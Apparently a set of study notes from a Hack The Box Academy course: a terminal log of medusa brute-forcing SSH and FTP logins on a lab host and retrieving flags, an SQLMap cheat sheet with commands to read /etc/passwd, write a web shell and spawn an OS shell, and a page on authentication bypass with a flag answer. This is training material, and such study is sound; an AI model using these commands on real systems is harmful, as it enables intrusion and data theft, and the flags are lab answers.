JoMo-Kun / Foofus Networks <jmk@foofus.net> GENERAL: Parallel Hosts: 1 Parallel Logins: 5 GENERAL: Total Hosts: 1 GENERAL: Total Users: 1 GENERAL: Total Passwords: 197 ... ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ... Password: ... [SUCCESS] ... GENERAL: Medusa has finished. Copy hack3rSWE@htb[/htb]$ ftp ftp://ftpuser:<FTPUSER_PASSWORD>@localhost Trying [::1]:21 ... Connected to localhost. 220 (vsFTPd 3.0.5) 331 Please specify the password. 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. 200 Switching to Binary mode. ftp> ls 229 Entering Extended Passive Mode (|||25926|) 150 Here comes the directory listing. -rw------- 1 1001 1001 35 Sep 05 13:17 flag.txt 226 Directory send OK. ftp> get flag.txt local: flag.txt remote: flag.txt 229 Entering Extended Passive Mode (|||37251|) 150 Opening BINARY mode data connection for flag.txt (35 bytes). 100% |***************************************************************************| 35 776.81 KiB/s 00:00 ETA 226 Transfer complete. 35 bytes received in 00:00 (131.45 KiB/s) ftp> exit 221 Goodbye. Copy hack3rSWE@htb[/htb]$ cat flag.txt HTB{...} Copy ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ medusa -h bash: medusa: command not found ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ sudo apt-get -y update Hit:1 http://deb.debian.org/debian testing InRelease Hit:2 https://download.docker.com/linux/debian bookworm InRelease Hit:3 https://packages.microsoft.com/ubuntu/20.04/prod focal InRelease Get:4 https://debian.neo4j.com stable InRelease [44.3 kB] Hit:5 http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 InRelease Hit:6 https://deb.parrot.sh/parrot lory InRelease Err:4 https://debian.neo4j.com stable InRelease The following signatures were invalid: EXPKEYSIG 59D700E4D37F5F19 Neo4j Admins <admins@neotechnology.com> Hit:7 https://deb.parrot.sh/direct/parrot lory-security InRelease Hit:8 https://deb.parrot.sh/parrot lory-backports InRelease Fetched 44.3 kB in 1s (56.6 kB/s) Reading package lists... Done W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://debian.neo4j.com stable InRelease: The following signatures were invalid: EXPKEYSIG 59D700E4D37F5F19 Neo4j Admins <admins@neotechnology.com> W: Failed to fetch https://debian.neo4j.com/dists/stable/InRelease The following signatures were invalid: EXPKEYSIG 59D700E4D37F5F19 Neo4j Admins <admins@neotechnology.com> W: Some index files failed to download. They have been ignored, or old ones used instead. ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ sudo apt-get -y install hydra Reading package lists... Done Building dependency tree... Done Reading state information... Done hydra is already the newest version (9.4-1). 0 upgraded, 0 newly installed, 0 to remove and 298 not upgraded. ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ sudo apt-get -y install medua Reading package lists... Done Building dependency tree... Done Reading state information... Done E: Unable to locate package medua ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ sudo apt-get -y install medusa Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: medusa 0 upgraded, 1 newly installed, 0 to remove and 298 not upgraded. Need to get 154 kB of archives. After this operation, 813 kB of additional disk space will be used. Get:1 https://deb.parrot.sh/parrot lory/main amd64 medusa amd64 2.2-7+b1 [154 kB] Fetched 154 kB in 2s (72.8 kB/s) Selecting previously unselected package medusa. (Reading database ... 595351 files and directories currently installed.) Preparing to unpack .../medusa_2.2-7+b1_amd64.deb ... Unpacking medusa (2.2-7+b1) ... Setting up medusa (2.2-7+b1) ... Processing triggers for man-db (2.11.2-2) ... Scanning application launchers Removing duplicate launchers or broken launchers Launchers are updated ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ medusa -h 94.237.52.137 -n 55611 -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123456 (1 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345678 (2 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: admin (3 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123456789 (4 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345 (5 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1234 (6 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: password (7 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123 (8 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Aa123456 (9 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1234567 (10 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: UNKNOWN (11 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1234567890 (12 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123123 (13 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 111111 (14 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Password (15 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12345678910 (16 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 000000 (17 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: admin123 (18 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1111 (19 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: ******** (20 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: user (21 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: P@ssw0rd (22 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: root (23 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 654321 (24 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: qwerty (25 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Pass@123 (26 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: ****** (27 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 102030 (28 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 112233 (29 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: ubnt (30 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Aa@123456 (31 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: abc123 (32 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: abcd1234 (33 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1q2w3e4r (34 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123321 (35 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: err (36 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: qwertyuiop (37 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 87654321 (38 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 987654321 (39 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: Eliska81 (40 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 123123123 (41 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 11223344 (42 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 987654321 (43 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: demo (44 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 12341234 (45 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 0 complete) Password: 1q2w3e4r5t (46 of 200 complete) ACCOUNT FOUND: [ssh] Host: 94.237.52.137 User: sshuser Password: 1q2w3e4r5t [SUCCESS] ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 1 complete) Password: Admin@123 (47 of 200 complete) ACCOUNT CHECK: [ssh] Host: 94.237.52.137 (1 of 1, 0 complete) User: sshuser (1 of 1, 1 complete) Password: qwerty123 (48 of 200 complete) Copy // Some code ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ ssh sshuser@94.237.52.137 55611 The authenticity of host '94.237.52.137 (94.237.52.137)' can't be established. ED25519 key fingerprint is SHA256:OSeJNmz8HvYwPwWH80h/D8zvhXd5bgVV9QTlOlqMl74. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '94.237.52.137' (ED25519) to the list of known hosts. sshuser@94.237.52.137: Permission denied (publickey). ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ ssh sshuser@94.237.52.137 -p option requires an argument -- p usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface] [-b bind_address] [-c cipher_spec] [-D [bind_address:]port] [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11] [-i identity_file] [-J [user@]host[:port]] [-L address] [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port] [-Q query_option] [-R address] [-S ctl_path] [-W host:port] [-w local_tun[:remote_tun]] destination [command [argument ...]] ┌─[us-academy-2]─[10.10.14.4]─[htb-ac-1067736@htb-qzlj8swmsv]─[~] └──╼ [★]$ ssh sshuser@94.237.52.137 -p 55611 The authenticity of host '[94.237.52.137]:55611 ([94.237.52.137]:55611)' can't be established. ED25519 key fingerprint is SHA256:2DP/wThlQCF/4IvGaF49XZcQO0bREny3YAZ1wSonr2g. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[94.237.52.137]:55611' (ED25519) to the list of known hosts. sshuser@94.237.52.137's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Thu Dec 12 01:08:18 2024 from 10.30.18.251 sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ netstat -tulpn | grep LISTEN (No info could be read for "-p": geteuid()=1000 but you should be root.) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::21 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ nmap localhost Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-12 01:23 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00012s latency). Other addresses for localhost (not scanned): ::1 Not shown: 998 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ medusa -h 127.0.0.1 -u ftpuser -P 2020-200_most_used_passwords.txt -M ftp -t 5 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 123456 (1 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: picture1 (2 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 123456789 (3 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: password (4 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 12345678 (5 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 111111 (6 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 123123 (7 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 12345 (8 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 1234567890 (9 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: senha (10 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 1234567 (11 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: qwerty (12 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: abc123 (13 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: Million2 (14 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: 000000 (15 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 0 complete) Password: qqww1122 (16 of 197 complete) ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: ftpuser Password: qqww1122 [SUCCESS] ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: 1234 (17 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: iloveyou (18 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: aaron431 (19 of 197 complete) ACCOUNT CHECK: [ftp] Host: 127.0.0.1 (1 of 1, 0 complete) User: ftpuser (1 of 1, 1 complete) Password: password1 (20 of 197 complete) sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ ftp ftp://ftpuser:qqww1122@localhost Trying [::1]:21 ... Connected to localhost. 220 (vsFTPd 3.0.5) 331 Please specify the password. 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. 200 Switching to Binary mode. ftp> ls 229 Entering Extended Passive Mode (|||56972|) 150 Here comes the directory listing. -rw------- 1 1001 1001 35 Dec 12 00:53 flag.txt 226 Directory send OK. ftp> get flag.txt local: flag.txt remote: flag.txt 229 Entering Extended Passive Mode (|||49645|) 150 Opening BINARY mode data connection for flag.txt (35 bytes). 100% |**********************************************| 35 876.40 KiB/s 00:00 ETA 226 Transfer complete. 35 bytes received in 00:00 (192.02 KiB/s) ftp> exit 221 Goodbye. sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ ls 2020-200_most_used_passwords.txt flag.txt sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ cat flag.txt HTB{SSH_and_FTP_Bruteforce_Success}sshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~ssssshuser@ng-1067736-loginbfservice-g7owj-75f794b8fd-tqtpz:~$ --- # Cheat Sheet | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/cheat-sheet.md) . Good write up on the module [![Logo](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fhackthedome.com%2Fwp-content%2Fuploads%2F2025%2F11%2Fcropped-logo-44-192x192.jpg&width=20&dpr=3&quality=100&sign=91f4fca5&sv=2)SQLMap Essentials - Hack The DomeHack The Dome](http://hackthedome.com/sqlmap-essentials/) Good write up on the skills assesment [https://medium.com/@colegrim/htb-skills-assessment-sqlmap-essentials-29320e8cd133medium.com](https://medium.com/@colegrim/htb-skills-assessment-sqlmap-essentials-29320e8cd133) **Cheat Sheet** The cheat sheet is a useful command reference for this module. **Command** **Description** `sqlmap -h` View the basic help menu `sqlmap -hh` View the advanced help menu `sqlmap -u "http://www.example.com/vuln.php?id=1" --batch` Run `SQLMap` without asking for user input `sqlmap 'http://www.example.com/' --data 'uid=1&name=test'` `SQLMap` with POST request `sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'` POST request specifying an injection point with an asterisk `sqlmap -r req.txt` Passing an HTTP request file to `SQLMap` `sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'` Specifying a cookie header `sqlmap -u www.target.com --data='id=1' --method PUT` Specifying a PUT request `sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt` Store traffic to an output file `sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch` Specify verbosity level `sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"` Specifying a prefix or suffix `sqlmap -u www.example.com/?id=1 -v 3 --level=5` Specifying the level and risk `sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba` Basic DB enumeration `sqlmap -u "http://www.example.com/?id=1" --tables -D testdb` Table enumeration `sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname` Table/row enumeration `sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"` Conditional enumeration `sqlmap -u "http://www.example.com/?id=1" --schema` Database schema enumeration `sqlmap -u "http://www.example.com/?id=1" --search -T user` Searching for data `sqlmap -u "http://www.example.com/?id=1" --passwords --batch` Password enumeration and cracking `sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"` Anti-CSRF token bypass `sqlmap --list-tampers` List all tamper scripts `sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba` Check for DBA privileges `sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"` Reading a local file `sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"` Writing a file `sqlmap -u "http://www.example.com/?id=1" --os-shell` Spawning an OS shell download cheat sheet [Sqlmap\_Essentials\_Module\_Cheat\_Sheet.pdf](https://1842858984-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FysDlYrLDpld6VwcWEx4H%2Fuploads%2FV0ZB3MQQZsvs3eVhUIof%2FSqlmap_Essentials_Module_Cheat_Sheet.pdf?alt=media&token=cfccf0f5-ca7b-4175-b94b-adaf220cc30e) PDF · 677KB Download[Open](https://1842858984-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FysDlYrLDpld6VwcWEx4H%2Fuploads%2FV0ZB3MQQZsvs3eVhUIof%2FSqlmap_Essentials_Module_Cheat_Sheet.pdf?alt=media&token=cfccf0f5-ca7b-4175-b94b-adaf220cc30e) [PreviousRewalk](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk) [NextExploitation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation) Last updated 9 months ago --- # Authentication Bypass via Direct Access | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access.md) . * * * After discussing various attacks on flawed authentication implementations, this section will showcase vulnerabilities that allow for the complete bypassing of authentication mechanisms. * * * ### Direct Access[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access#direct-access) The most straightforward way of bypassing authentication checks is to request the protected resource directly from an unauthenticated context. An unauthenticated attacker can access protected information if the web application does not properly verify that the request is authenticated. For instance, let us assume that we know that the web application redirects users to the `/admin.php` endpoint after successful authentication, providing protected information only to authenticated users. If the web application relies solely on the login page to authenticate users, we can access the protected resource directly by accessing the `/admin.php` endpoint. While this scenario is uncommon in the real world, a slight variant occasionally happens in vulnerable web applications. To illustrate the vulnerability, let us assume a web application uses the following snippet of PHP code to verify whether a user is authenticated: Code: php Copy if(!$_SESSION['active']) { header("Location: index.php"); } This code redirects the user to `/index.php` if the session is not active, i.e., if the user is not authenticated. However, the PHP script does not stop execution, resulting in protected information within the page being sent in the response body: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_directaccess_1.png&width=768&dpr=3&quality=100&sign=70dd4747&sv=2) HTTP request and response. Request: GET /admin.php. Response: 302 Found, redirects to index.php. Includes HTML head with links to stylesheets and Google Fonts. As we can see, the entire admin page is contained in the response body. However, if we attempt to access the page in our web browser, the browser follows the redirect and displays the login prompt instead of the protected admin page. We can easily trick the browser into displaying the admin page by intercepting the response and changing the status code from `302` to `200`. To do this, enable `Intercept` in Burp. Afterward, browse to the `/admin.php` endpoint in the web browser. Next, right-click on the request and select `Do intercept > Response to this request` to intercept the response: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_directaccess_2_2.png&width=768&dpr=3&quality=100&sign=5c932eef&sv=2) HTTP request to /admin.php on 172.17.0.2. Intercept is on. Context menu options include sending to various tools, changing request method, and copying URL. Inspector shows request details. Afterward, forward the request by clicking on `Forward`. Since we intercepted the response, we can now edit it. To force the browser to display the content, we need to change the status code from `302 Found` to `200 OK`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_directaccess_3.png&width=768&dpr=3&quality=100&sign=6e90dd71&sv=2) HTTP response from /admin.php on 172.17.0.2. Status: 200 OK. Server: Apache/2.4.59 (Debian). Content-Type: text/html; charset=UTF-8. Content-Length: 14465. Intercept is on. Afterward, we can forward the response. If we switch back to our browser window, we can see that the protected information is rendered: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fbypass%2Fbypass_directaccess_4.png&width=768&dpr=3&quality=100&sign=dbb5585a&sv=2) To prevent the protected information from being returned in the body of the redirect response, the PHP script needs to exit after issuing the redirect: Code: php #### Apply what you learned in this section to bypass authentication to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access#apply-what-you-learned-in-this-section-to-bypass-authentication-to-obtain-the-flag) You can view the initial request to the /admin.php page, and see that part of the page is revealed regardless, so from here you can get the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FjBPcHy5zac7Mox6OYX4X%252Fimage.png%3Falt%3Dmedia%26token%3D7d4863d8-e005-42b4-a50a-8703456e7ea4&width=768&dpr=3&quality=100&sign=e3151178&sv=2) Send to repeater ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FMk8y9Fk3UOcsgVhwW4w9%252Fimage.png%3Falt%3Dmedia%26token%3D7a229a4c-1f37-4ed3-b9e1-7296290d2d51&width=768&dpr=3&quality=100&sign=91eccf09&sv=2) Than from there we can copy as curl command if you right click the request, this will reveal the admin page We can also just do it as the module taught ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fsk57YZJu8cTDI6vRMduq%252Fimage.png%3Falt%3Dmedia%26token%3Ddd04665e-416f-4ee1-ba5d-77bd0f3121c3&width=768&dpr=3&quality=100&sign=9fe7ec82&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FItt7uGE5IeahkjQI0MgH%252Fimage.png%3Falt%3Dmedia%26token%3Dc416decf-2088-401a-b244-a7af7a62b298&width=768&dpr=3&quality=100&sign=6c08ca78&sv=2) A: HTB{913ab2d84b8db21854c696dee1f1db68} [PreviousAuthentication Bypass](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass) [NextAuthentication Bypass via Parameter 